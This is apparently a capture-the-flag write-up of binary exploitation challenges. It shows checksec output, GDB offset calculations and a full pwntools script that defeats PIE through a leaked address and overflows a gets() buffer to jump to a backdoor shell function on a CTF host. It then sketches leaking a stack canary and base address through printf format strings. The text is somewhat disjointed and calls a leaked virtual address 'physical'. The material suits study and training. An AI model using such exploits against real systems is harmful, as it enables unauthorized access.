Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled Stripped: No
We know that the file is 32bits and with PIE enabled, that means the base address of the file is random, but the offset between the main function and backdoor function is changeless.
Use GDB to print the addresses of the functions:
1 2 3 4
pwndbg> p main $1 = {<text variable, no debug info>} 0x770 <main> pwndbg> p shell $2 = {<text variable, no debug info>} 0x80f <shell>
Compute that the offset is 0x80f - 0x770 = 0x9f
Edit the exp:
1 2 3 4 5 6 7 8 9 10 11 12 13
from pwn import * context.log_level = 'debug' #p = process('./ezpie') p = remote('node5.anna.nssctf.cn',28400) offset = 0x28 + 0x4 p.recvuntil("gift!\n") # Abandon the trash information leak_base = p.recvline() # Catch the main function leak_base = leak_base.decode('utf-8') # Turn the type of bytes to the type of string. leak_base = int(leak_base,16) # Turn the type of string to the type of integer shell_addr = 0x80f - 0x770 + leak_base # Calculate the true address payload = offset * b'a' + p32(shell_addr) p.sendline(payload) p.interactive()
The v3 is the canary. The gets() function has danger in stack overflow. The printf function could leak the true address(physical address).
Check the information of the file with checksec:
1 2 3 4 5 6 7
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled
The canary is on, the NX is on and the PIE is on as well.
So we have to do is reverting the canary when we broke it and find the true address of the backdoor function. If we want to find out the true address, what should we do is leaking the base address.
How to leak the base address? We can leak the true address of return address of the function and minus the offset address(the address on the left of IDA screen).
We can calculate the offset through the gdb. Set a break on printf and run the program and check the stack.
The 64bits system has 6 registers in front of the stack(rdi,rsi,rdx,rcx,r8,r9). So we need to start to count in number 6 on the stack.